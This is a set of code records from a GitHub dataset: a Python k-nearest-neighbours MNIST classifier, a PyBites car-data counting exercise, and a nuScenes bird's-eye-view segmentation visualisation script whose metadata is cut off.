{"seq_id": "42285699003", "text": "# Literally following this tutorial: https://www.youtube.com/watch?v=vzabeKdW9tE\n\nDEBUG = True\n\nif DEBUG:\n    from PIL import Image\n    import numpy as np\n\n    def read_image(path):\n        return np.asarray(Image.open(path).convert('L'))\n\n    def write_image(image, path):\n        img = Image.fromarray(np.array(image), 'L')\n        img.save(path)\n\n\nDATA_DIR = \"data/\"\nTEST_DIR = \"test/\"\nTEST_IMAGES = DATA_DIR + \"t10k-images.idx3-ubyte\"\nTEST_LABELS = DATA_DIR + \"t10k-labels.idx1-ubyte\"\nTRAIN_IMAGES = DATA_DIR + \"train-images.idx3-ubyte\"\nTRAIN_LABELS = DATA_DIR + \"train-labels.idx1-ubyte\"\n\n# data_chars = \"/data/archive/A_Z Handrwritten Data.csv\"\n\n\ndef bytes_to_int(byte_data):\n    return int.from_bytes(byte_data, \"big\")\n\n\ndef read_images(filename, max_n_images=None):\n    images = []\n    with open(filename, \"rb\") as file:\n        _ = file.read(4)  # first 4 bytes, giving meta infos\n        n_images = bytes_to_int(file.read(4))\n        if max_n_images:\n            n_images = max_n_images\n        n_rows = bytes_to_int(file.read(4))\n        n_columns = bytes_to_int(file.read(4))\n        for image_index in range(n_images):\n            image = []\n            for row_index in range(n_rows):\n                row = []\n                for column_index in range(n_columns):\n                    pixel = file.read(1)\n                    row.append(pixel)\n                image.append(row)\n            images.append(image)\n    return images\n\n\ndef read_labels(filename, max_n_labels=None):\n    labels = []\n    with open(filename, \"rb\") as file:\n        _ = file.read(4)  # first 4 bytes, giving meta infos\n        n_labels = bytes_to_int(file.read(4))\n        if max_n_labels:\n            n_labels = max_n_labels\n        for label_index in range(n_labels):\n            label = file.read(1)\n            labels.append(label)\n    return labels\n\n\ndef flatten_list(data_list):\n    return [pixel for sublist in data_list for pixel in sublist]\n\n\ndef extract_features(data_set):\n    return [flatten_list(data) for data in data_set]\n\n\ndef dist(x, y):\n    return sum(\n        [\n            (bytes_to_int(x_i) - bytes_to_int(y_i)) ** 2\n            for x_i, y_i in zip(x, y)]\n    ) ** 0.5\n\n\ndef get_training_distances_for_test_sample(X_train, test_sample):\n    return [dist(train_sample, test_sample) for train_sample in X_train]\n\n\ndef get_most_frequent_element(l):\n    return max(l, key=l.count)\n\n\ndef knn(X_train, y_train, X_test, k=3):\n    y_pred = []\n    for test_sample_index, test_sample in enumerate(X_test):\n        training_distances = get_training_distances_for_test_sample(X_train, test_sample)\n        sorted_distance_indices = [pair[0] for pair in sorted(enumerate(training_distances), key=lambda x: x[1])]\n        candidates = [bytes_to_int(y_train[index]) for index in sorted_distance_indices[:k]]\n        top_candidate = get_most_frequent_element(candidates)\n        y_pred.append(top_candidate)\n    return y_pred\n\n\ndef main():\n    X_train = read_images(TRAIN_IMAGES, 1000)\n    y_train = read_labels(TRAIN_LABELS, 1000)\n    X_test = read_images(TEST_IMAGES, 5)\n    y_test = read_labels(TEST_LABELS, 5)\n\n    if DEBUG:\n        for index, test_sample in enumerate(X_test):\n            write_image(test_sample, f\"{TEST_DIR}{index}.png\")\n\n    X_train = extract_features(X_train)\n    X_test = extract_features(X_test)\n\n    y_pred = knn(X_train, y_train, X_test, 3)\n\n    for y_pred_i, y_test_i in zip(y_test, y_pred):\n        print(y_pred_i)\n        print(y_test_i)\n\n    accuracy = sum([\n        int(bytes_to_int(y_pred_i) == y_test_i)\n        for y_pred_i, y_test_i\n        in zip(y_test, y_pred)\n    ]) / len(y_test)\n\n    print(y_pred)\n    print(f\"Accuracy is {accuracy}\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "TonyAnciaux/KPMG-gpt-3-ideation-project", "sub_path": "optical_character_recognition.py", "file_name": "optical_character_recognition.py", "file_ext": "py", "file_size_in_byte": 3712, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.asarray", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 10, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 13, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "10678946822", "text": "from collections import Counter\n\nimport requests\n\nCAR_DATA = 'https://bites-data.s3.us-east-2.amazonaws.com/cars.json'\n\n# pre-work: load JSON data into program\n\nwith requests.Session() as s:\n    data = s.get(CAR_DATA).json()\n\n\n# your turn:\ndef most_prolific_automaker(year):\n    \"\"\"Given year 'year' return the automaker that released\n       the highest number of new car models\"\"\"\n\n    data = [{\"id\":1,\"automaker\":\"Dodge\",\"model\":\"Ram Van 1500\",\"year\":1999},\n            {\"id\":2,\"automaker\":\"Chrysler\",\"model\":\"Town & Country\",\"year\":2002},\n            {\"id\":3,\"automaker\":\"Porsche\",\"model\":\"Cayenne\",\"year\":2008},\n            {\"id\":1,\"automaker\":\"Dodge\",\"model\":\"Ram Van 1500\",\"year\":2002},\n            {\"id\":2,\"automaker\":\"Chrysler\",\"model\":\"Town & Country\",\"year\":1999},\n            {\"id\":3,\"automaker\":\"Porsche\",\"model\":\"Cayenne\",\"year\":2008},\n            {\"id\":1,\"automaker\":\"Dodge\",\"model\":\"Ram Van 1500\",\"year\":1999},\n            {\"id\":2,\"automaker\":\"Chrysler\",\"model\":\"Town & Country\",\"year\":2002},\n            {\"id\":3,\"automaker\":\"Porsche\",\"model\":\"Cayenne\",\"year\":1999},\n            ]\n\n    data_filtered_by_year = [item for item in data if item['year'] == year]\n\n\n    count_dict = {}\n\n    for item in data_filtered_by_year:\n        \n        automaker = item['automaker']\n        count_dict[automaker] = count_dict.setdefault(automaker, 0) + 1\n\n        \n    dict_items = count_dict.items()\n    dict_items_sorted = sorted(dict_items, key=lambda x: x[1])\n\n    return dict_items_sorted[-1][0]\n\n\ndef get_models(automaker, year):\n    \"\"\"Filter cars 'data' by 'automaker' and 'year',\n       return a set of models (a 'set' to avoid duplicate models)\"\"\"\n\n    data = [{\"id\":1,\"automaker\":\"Dodge\",\"model\":\"Ram Van 1500\",\"year\":1999},\n            {\"id\":2,\"automaker\":\"Chrysler\",\"model\":\"Town & Country\",\"year\":2002},\n            {\"id\":3,\"automaker\":\"Porsche\",\"model\":\"Cayenne\",\"year\":2008},\n            {\"id\":1,\"automaker\":\"Dodge\",\"model\":\"Ram Van 1500\",\"year\":2002},\n            {\"id\":2,\"automaker\":\"Chrysler\",\"model\":\"Town & Country\",\"year\":1999},\n            {\"id\":3,\"automaker\":\"Porsche\",\"model\":\"Cayenne\",\"year\":2008},\n            {\"id\":1,\"automaker\":\"Dodge\",\"model\":\"Ram Van 1500\",\"year\":1999},\n            {\"id\":2,\"automaker\":\"Chrysler\",\"model\":\"Town & Country\",\"year\":2002},\n            {\"id\":3,\"automaker\":\"Porsche\",\"model\":\"Cayenne\",\"year\":1999},\n            ]\n\n    data_filtered_by_year = [item for item in data if (item['year'] == year) & (item['automaker'] == automaker)]\n\n    models = [item['model'] for item in data_filtered_by_year]\n\n    return set(models)\n\ncount_dict = most_prolific_automaker(1999)\n\nprint(count_dict)\n\nmodels = get_models('Porsche', 1999)\n\nprint(models)", "repo_name": "rodrigobmedeiros/PyBites-Code-EveryDay", "sub_path": "130/bite_130.py", "file_name": "bite_130.py", "file_ext": "py", "file_size_in_byte": 2688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.Session", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "29399571511", "text": "import os\nimport time\nimport argparse\nimport numpy as np\nimport saverloader\nfrom fire import Fire\nfrom nets.segnet import Segnet\nimport utils.misc\nimport utils.improc\nimport utils.vox\nimport random\nimport nuscenesdataset \nimport torch\nimport torch.multiprocessing\ntorch.multiprocessing.set_sharing_strategy('file_system')\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom tensorboardX import SummaryWriter\nimport torch.nn.functional as F\n\nimport matplotlib\nmatplotlib.use('Agg')\nfrom nuscenesdataset import get_nusc_maps, fetch_nusc_map2, add_ego2\nimport matplotlib.pyplot as plt\nimport imageio\nimport io\n\nrandom.seed(125)\nnp.random.seed(125)\n\n# the scene centroid is defined w.r.t. a reference camera\n# which is usually random\nscene_centroid_x = 0.0\nscene_centroid_y = 1.0\nscene_centroid_z = 0.0\n\nscene_centroid_py = np.array([scene_centroid_x,\n                              scene_centroid_y,\n                              scene_centroid_z]).reshape([1, 3])\nscene_centroid = torch.from_numpy(scene_centroid_py).float()\n\nXMIN, XMAX = -50, 50\nZMIN, ZMAX = -50, 50\nYMIN, YMAX = -5, 5\nbounds = (XMIN, XMAX, YMIN, YMAX, ZMIN, ZMAX)\n\nZ, Y, X = 200, 8, 200\ndef requires_grad(parameters, flag=True):\n    for p in parameters:\n        p.requires_grad = flag\n\ndef rgba2rgb( rgba, background=(255,255,255) ):\n    row, col, ch = rgba.shape\n\n    if ch == 3:\n        return rgba\n\n    assert ch == 4, 'RGBA image has 4 channels.'\n\n    rgb = np.zeros( (row, col, 3), dtype='float32' )\n    r, g, b, a = rgba[:,:,0], rgba[:,:,1], rgba[:,:,2], rgba[:,:,3]\n\n    a = np.asarray( a, dtype='float32' ) / 255.0\n\n    R, G, B = background\n\n    rgb[:,:,0] = r * a + (1.0 - a) * R\n    rgb[:,:,1] = g * a + (1.0 - a) * G\n    rgb[:,:,2] = b * a + (1.0 - a) * B\n\n    return np.asarray( rgb, dtype='uint8' )\n\ndef run_model(loader, index, model, d, img_dir, device='cuda:0', sw=None):\n    imgs_all, rots_all, trans_all, intrins_all, pts0_all, extra0_all, pts_all, extra_all, lrtlist_velo_all, vislist_all, tidlist_all, scorelist_all, seg_bev_g_all, valid_bev_g_all, center_bev_g_all, offset_bev_g_all, radar_data_all, egopose_all = d\n\n    T = imgs_all.shape[1]\n\n    nusc_maps = get_nusc_maps(loader.dataset.data_root)\n    scene2map = {}\n    for rec in loader.dataset.nusc.scene:\n        log = loader.dataset.nusc.get('log', rec['log_token'])\n        scene2map[rec['name']] = log['location']\n    dx = loader.dataset.dx[:2]\n    bx = loader.dataset.bx[:2]\n\n    for t in range(T):\n        # eliminate the time dimension\n        imgs = imgs_all[:,t]\n        rots = rots_all[:,t]\n        trans = trans_all[:,t]\n        intrins = intrins_all[:,t]\n        pts0 = pts0_all[:,t]\n        extra0 = extra0_all[:,t]\n        pts = pts_all[:,t]\n        extra = extra_all[:,t]\n        lrtlist_velo = lrtlist_velo_all[:,t]\n        vislist = vislist_all[:,t]\n        tidlist = tidlist_all[:,t]\n        scorelist = scorelist_all[:,t]\n        seg_bev_g = seg_bev_g_all[:,t]\n        valid_bev_g = valid_bev_g_all[:,t]\n        center_bev_g = center_bev_g_all[:,t]\n        offset_bev_g = offset_bev_g_all[:,t]\n        radar_data = radar_data_all[:,t]\n        egopose = egopose_all[:,t]\n\n        origin_T_velo0t = egopose.to(device) # B,T,4,4\n        lrtlist_velo = lrtlist_velo.to(device)\n        scorelist = scorelist.to(device)\n\n        rgb_camXs = imgs.float().to(device)\n        rgb_camXs = rgb_camXs - 0.5 # go to -0.5, 0.5\n\n        seg_bev_g = seg_bev_g.to(device)\n        valid_bev_g = valid_bev_g.to(device)\n        center_bev_g = center_bev_g.to(device)\n        offset_bev_g = offset_bev_g.to(device)\n\n        xyz_velo0 = pts.to(device).permute(0, 2, 1)\n        rad_data = radar_data.to(device).permute(0, 2, 1) # B, R, 19\n        xyz_rad = rad_data[:,:,:3]\n        meta_rad = rad_data[:,:,3:]\n\n        B, S, C, H, W = rgb_camXs.shape\n        B, V, D = xyz_velo0.shape\n\n        __p = lambda x: utils.basic.pack_seqdim(x, B)\n        __u = lambda x: utils.basic.unpack_seqdim(x, B)\n\n        mag = torch.norm(xyz_velo0, dim=2)\n        xyz_velo0 = xyz_velo0[:,mag[0]>1]\n        xyz_velo0_bak = xyz_velo0.clone()\n\n        intrins_ = __p(intrins)\n        pix_T_cams_ = utils.geom.merge_intrinsics(*utils.geom.split_intrinsics(intrins_)).to(device)\n        pix_T_cams = __u(pix_T_cams_)\n\n        velo_T_cams = utils.geom.merge_rtlist(rots, trans).to(device)\n        cams_T_velo = __u(utils.geom.safe_inverse(__p(velo_T_cams)))\n        \n        cam0_T_camXs = utils.geom.get_camM_T_camXs(velo_T_cams, ind=0)\n        camXs_T_cam0 = __u(utils.geom.safe_inverse(__p(cam0_T_camXs)))\n        cam0_T_camXs_ = __p(cam0_T_camXs)\n        camXs_T_cam0_ = __p(camXs_T_cam0)\n\n        xyz_cam0 = utils.geom.apply_4x4(cams_T_velo[:,0], xyz_velo0)\n        rad_xyz_cam0 = utils.geom.apply_4x4(cams_T_velo[:,0], xyz_rad)\n\n        lrtlist_cam0 = utils.geom.apply_4x4_to_lrtlist(cams_T_velo[:,0], lrtlist_velo)\n\n        vox_util = utils.vox.Vox_util(\n            Z, Y, X,\n            scene_centroid=scene_centroid.to(device),\n            bounds=bounds,\n            assert_cube=False)\n        \n        V = xyz_velo0.shape[1]\n\n        occ_mem0 = vox_util.voxelize_xyz(xyz_cam0, Z, Y, X, assert_cube=False)\n        rad_occ_mem0 = vox_util.voxelize_xyz(rad_xyz_cam0, Z, Y, X, assert_cube=False)\n        metarad_occ_mem0 = vox_util.voxelize_xyz_and_feats(rad_xyz_cam0, meta_rad, Z, Y, X, assert_cube=False)\n\n        if not (model.module.use_radar or model.module.use_lidar):\n            in_occ_mem0 = None\n        elif model.module.use_lidar:\n            assert(model.module.use_radar==False) # either lidar or radar, not both\n            assert(model.module.use_metaradar==False) # either lidar or radar, not both\n            in_occ_mem0 = occ_mem0\n        elif model.module.use_radar and model.module.use_metaradar:\n            in_occ_mem0 = metarad_occ_mem0\n        elif model.module.use_radar:\n            in_occ_mem0 = rad_occ_mem0\n        elif model.module.use_metaradar:\n            assert(False) # cannot use_metaradar without use_radar\n\n        cam0_T_camXs = cam0_T_camXs\n\n        lrtlist_cam0_g = lrtlist_cam0\n\n        _, feat_bev_e, seg_bev_e, center_bev_e, offset_bev_e = model(\n                rgb_camXs=rgb_camXs,\n                pix_T_cams=pix_T_cams,\n                cam0_T_camXs=cam0_T_camXs,\n                vox_util=vox_util,\n                rad_occ_mem0=in_occ_mem0)\n\n        # visualize ground truth\n        rec = loader.dataset.ixes[loader.dataset.indices[index][t]]\n        car_from_current = np.eye(4)\n        car_from_current[:3,:3] = rots[0,0].cpu().numpy()\n        car_from_current[:3,3] = np.transpose(trans[0,0].numpy())\n\n        poly_names, line_names, lmap = fetch_nusc_map2(rec, nusc_maps, loader.dataset.nusc, scene2map, car_from_current)\n\n        plt.close('all')\n        fig = plt.figure(figsize=(4,4), frameon=False)\n        ax = fig.gca()\n        ax.axis('off')\n        ax = fig.add_axes([0, 0, 1, 1])\n        ax.set_axis_off()\n        ax.axis('off')\n        fig.axes[0].get_xaxis().set_visible(False)\n        fig.axes[0].get_yaxis().set_visible(False)\n        fig.axes[1].get_xaxis().set_visible(False)\n        fig.axes[1].get_yaxis().set_visible(False)\n        plt.axis('off')\n        line_names = ['road_divider', 'lane_divider']\n        for name in poly_names:\n            for la in lmap[name]:\n                pts = (la - bx) / dx\n                plt.fill(pts[:, 1], pts[:, 0], c=(1.00, 0.50, 0.31), alpha=0.2)\n        for la in lmap['road_divider']:\n            pts = (la - bx) / dx\n            plt.plot(pts[:, 1], pts[:, 0], c=(0.0, 0.0, 1.0), alpha=0.5)\n        for la in lmap['lane_divider']:\n            pts = (la - bx) / dx\n            plt.plot(pts[:, 1], pts[:, 0], c=(159./255., 0.0, 1.0), alpha=0.5)\n        plt.xlim((200, 0))\n        plt.ylim((0, 200))\n        add_ego2(bx, dx)\n\n        io_buf = io.BytesIO()\n        fig.savefig(io_buf, format='raw')\n        io_buf.seek(0)\n        img_arr = np.reshape(np.frombuffer(io_buf.getvalue(), dtype=np.uint8), newshape=(int(fig.bbox.bounds[3]), int(fig.bbox.bounds[2]), -1))\n        io_buf.close()\n        \n        img_arr = rgba2rgb(img_arr)\n        img_arr = np.rot90(img_arr, 1)\n        img_arr = np.flip(img_arr, axis=1)\n        map_vis = torch.from_numpy(img_arr.astype(float) / 255.0 - 0.5) # H, W, 3\n        map_vis = map_vis.unsqueeze(0).permute(0,3,1,2).float().to(rgb_camXs.device) # 1, 3, H, W\n\n        _, _, mH, mW = map_vis.shape\n\n        blue_img = torch.zeros_like(map_vis).to(map_vis.device)\n        blue_img[:, [0,1]] = -0.5\n        blue_img[:, 2] = 0.5\n        seg_g_t = F.interpolate(seg_bev_g, (mH, mW))\n        seg_g_t_onmap = map_vis * (1-seg_g_t) + blue_img * seg_g_t\n\n        seg_e_t = torch.sigmoid(F.interpolate(seg_bev_e, (mH, mW)))\n        seg_e_t_onmap = map_vis * (1-seg_e_t) + blue_img * seg_e_t\n\n        # save to folder\n        folder_name = os.path.join(img_dir, \"sample_vis_%03d\" % index)\n        os.makedirs(folder_name, exist_ok=True)\n\n        seg_g_t_vis = utils.improc.back2color(seg_g_t_onmap).cpu().numpy()[0].transpose(1,2,0)\n        seg_g_t_vis_name = os.path.join(folder_name, \"seg_gt_%03d.png\" % t)\n        imageio.imwrite(seg_g_t_vis_name, seg_g_t_vis)\n\n        seg_e_t_vis = utils.improc.back2color(seg_e_t_onmap).cpu().numpy()[0].transpose(1,2,0)\n        seg_e_t_vis_name = os.path.join(folder_name, \"seg_et_%03d.png\" % t)\n        imageio.imwrite(seg_e_t_vis_name, seg_e_t_vis)\n\n        n_cam = rgb_camXs.shape[1]\n        for cam_id in range(n_cam):\n            camX_t_vis = utils.improc.back2color(rgb_camXs[0, cam_id:cam_id+1]).cpu().numpy()[0].transpose(1,2,0)\n            camX_t_vis_name = os.path.join(folder_name, \"cam\"+str(cam_id)+\"_rgb_%03d.png\" % t)\n            imageio.imwrite(camX_t_vis_name, camX_t_vis)\n\n        if model.module.use_radar:\n            radar_t_vis = torch.sum(rad_occ_mem0[0], 2).clamp(0, 1) # (1, 200, 200)\n            radar_t_vis = utils.improc.back2color(radar_t_vis.repeat(3,1,1)-0.5).cpu().numpy().transpose(1,2,0)\n            radar_t_vis_name = os.path.join(folder_name, \"radar_%03d.png\" % t)\n            imageio.imwrite(radar_t_vis_name, radar_t_vis)\n\n            lidar_t_vis = torch.sum(occ_mem0[0], 2).clamp(0, 1) # (1, 200, 200) \n            lidar_t_vis = utils.improc.back2color(lidar_t_vis.repeat(3,1,1)-0.5).cpu().numpy().transpose(1,2,0)\n            lidar_t_vis_name = os.path.join(folder_name, \"lidar_%03d.png\" % t)\n            imageio.imwrite(lidar_t_vis_name, lidar_t_vis)\n\ndef main(\n        exp_name='debug',\n        # eval\n        max_iters=100000,\n        log_freq=100,\n        dset='trainval',\n        batch_size=1, # batch size = 1 only\n        timesteps=40, # a sequence is typically 40 frames (20s * 2fps)\n        nworkers=12,\n        # data/log/save/load directories\n        data_dir='../nuscenes/',\n        log_dir='logs_nuscenes_bevseg',\n        img_dir='vis',\n        ckpt_dir='checkpoints/',\n        keep_latest=1,\n        init_dir='',\n        ignore_load=None,\n        # data\n        res_scale=2,\n        ncams=6,\n        nsweeps=3,\n        # model\n        encoder_type='res101',\n        use_radar=False,\n        use_radar_filters=False,\n        use_lidar=False,\n        use_metaradar=False,\n        do_rgbcompress=True,\n        # cuda\n        device_ids=[0], # 1 device only for now\n        ):\n\n    B = batch_size\n    assert(B % len(device_ids) == 0) # batch size must be divisible by number of gpus\n    device = 'cuda:%d' % device_ids[0]\n\n    # autogen a name\n    model_name = \"%d\" % B\n    model_name += \"t%d\" % timesteps\n    model_name += \"_%s\" % exp_name \n    import datetime\n    model_date = datetime.datetime.now().strftime('%H:%M:%S')\n    model_name = model_name + '_' + model_date\n    print('model_name', model_name)\n\n    # set up loggingg\n    os.makedirs(img_dir, exist_ok=True)\n    writer = SummaryWriter(os.path.join(log_dir, model_name), max_queue=10, flush_secs=60)\n\n    # set up dataloaders\n    final_dim = (int(224 * res_scale), int(400 * res_scale))\n    print('resolution:', final_dim)\n\n    resize_lim = [1.0,1.0]\n    crop_offset = 0\n\n    data_aug_conf = {\n        'crop_offset': crop_offset,\n        'resize_lim': resize_lim,\n        'final_dim': final_dim,\n        'H': 900, 'W': 1600,\n        'cams': ['CAM_FRONT_LEFT', 'CAM_FRONT', 'CAM_FRONT_RIGHT',\n                 'CAM_BACK_LEFT', 'CAM_BACK', 'CAM_BACK_RIGHT'],\n        'ncams': ncams,\n    }\n\n    _, dataloader = nuscenesdataset.compile_data(\n        dset,\n        data_dir,\n        data_aug_conf=data_aug_conf,\n        centroid=scene_centroid_py,\n        bounds=bounds,\n        res_3d=(Z,Y,X),\n        bsz=B,\n        nworkers=nworkers,\n        shuffle=False,\n        use_radar_filters=use_radar_filters,\n        seqlen=timesteps, # we do not load a temporal sequence here, but that can work with this dataloader\n        nsweeps=nsweeps,\n        do_shuffle_cams=False,\n        get_tids=True,\n    )\n    dataloader.dataset.data_root = os.path.join(data_dir, dset)\n    iterloader = iter(dataloader)\n\n    # set up model & seg loss\n    model = Segnet(Z, Y, X, use_radar=use_radar, use_lidar=use_lidar, use_metaradar=use_metaradar, do_rgbcompress=do_rgbcompress, encoder_type=encoder_type, rand_flip=False)\n    model = model.to(device)\n    model = torch.nn.DataParallel(model, device_ids=device_ids)\n    parameters = list(model.parameters())\n    total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n    print('total_params', total_params)\n\n    # load checkpoint\n    global_step = 0\n    if init_dir:\n        _ = saverloader.load(init_dir, model.module, ignore_load=ignore_load)\n        global_step = 0\n    requires_grad(parameters, False)\n    model.eval()\n\n    while global_step < max_iters:\n        global_step += 1\n\n        read_start_time = time.time()\n\n        sw = utils.improc.Summ_writer(\n            writer=writer,\n            global_step=global_step,\n            log_freq=log_freq,\n            fps=2,\n            scalar_freq=int(log_freq/2),\n            just_gif=True)\n\n        try:\n            sample = next(iterloader)\n        except:\n            break\n\n        read_time = time.time() - read_start_time\n        iter_start_time = time.time()\n\n        # run training iteration\n        run_model(dataloader, global_step-1, model, sample, img_dir, device, sw)\n\n        iter_time = time.time() - iter_start_time\n\n        print('%s; step %06d/%d; rtime %.2f; itime %.2f' % (\n            model_name, global_step, max_iters, read_time, iter_time))\n\n    writer.close()\n\nif __name__ == '__main__':\n    Fire(main)\n", "repo_name": "aharley/simple_bev", "sub_path": "vis_nuscenes.py", "file_name": "vis_nuscenes.py", "file_ext": "py", "file_size_in_byte": 14454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 369, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.multiprocessing.set_sharing_strategy", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 15, "usage_type": "attribute"}, {"api_name": "matplotlib.use", "line_number": 22, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 71, "usage_type": "call"}, {"api_name": "nuscenesdataset.get_nusc_maps", "line_number": 78, "usage_type": "call"}, {"api_name": "utils.misc.basic.pack_seqdim", "line_number": 127, "usage_type": "call"}, {"api_name": "utils.misc.basic", "line_number": 127, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 127, "usage_type": "name"}, {"api_name": "utils.misc.basic.unpack_seqdim", "line_number": 128, "usage_type": "call"}, {"api_name": "utils.misc.basic", "line_number": 128, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.norm", "line_number": 130, "usage_type": "call"}, {"api_name": "utils.misc.geom.merge_intrinsics", "line_number": 135, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 135, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 135, "usage_type": "name"}, {"api_name": "utils.misc.geom.split_intrinsics", "line_number": 135, "usage_type": "call"}, {"api_name": "utils.misc.geom.merge_rtlist", "line_number": 138, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 138, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 138, "usage_type": "name"}, {"api_name": "utils.misc.geom.safe_inverse", "line_number": 139, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 139, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 139, "usage_type": "name"}, {"api_name": "utils.misc.geom.get_camM_T_camXs", "line_number": 141, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 141, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 141, "usage_type": "name"}, {"api_name": "utils.misc.geom.safe_inverse", "line_number": 142, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 142, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 142, "usage_type": "name"}, {"api_name": "utils.misc.geom.apply_4x4", "line_number": 146, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 146, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 146, "usage_type": "name"}, {"api_name": "utils.misc.geom.apply_4x4", "line_number": 147, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 147, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 147, "usage_type": "name"}, {"api_name": "utils.misc.geom.apply_4x4_to_lrtlist", "line_number": 149, "usage_type": "call"}, {"api_name": "utils.misc.geom", "line_number": 149, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 149, "usage_type": "name"}, {"api_name": "utils.misc.vox.Vox_util", "line_number": 151, "usage_type": "call"}, {"api_name": "utils.misc.vox", "line_number": 151, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 151, "usage_type": "name"}, {"api_name": "numpy.eye", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 191, "usage_type": "call"}, {"api_name": "nuscenesdataset.fetch_nusc_map2", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 217, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "nuscenesdataset.add_ego2", "line_number": 220, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 225, "usage_type": "attribute"}, {"api_name": "numpy.rot90", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 230, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 231, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 239, "usage_type": "name"}, {"api_name": "torch.sigmoid", "line_number": 242, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 242, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 242, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 246, "usage_type": "call"}, {"api_name": "os.path", "line_number": 246, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 247, "usage_type": "call"}, {"api_name": "utils.misc.improc.back2color", "line_number": 249, "usage_type": "call"}, {"api_name": "utils.misc.improc", "line_number": 249, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 249, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "imageio.imwrite", "line_number": 251, "usage_type": "call"}, {"api_name": "utils.misc.improc.back2color", "line_number": 253, "usage_type": "call"}, {"api_name": "utils.misc.improc", "line_number": 253, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 253, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "imageio.imwrite", "line_number": 255, "usage_type": "call"}, {"api_name": "utils.misc.improc.back2color", "line_number": 259, "usage_type": "call"}, {"api_name": "utils.misc.improc", "line_number": 259, "usage_type": 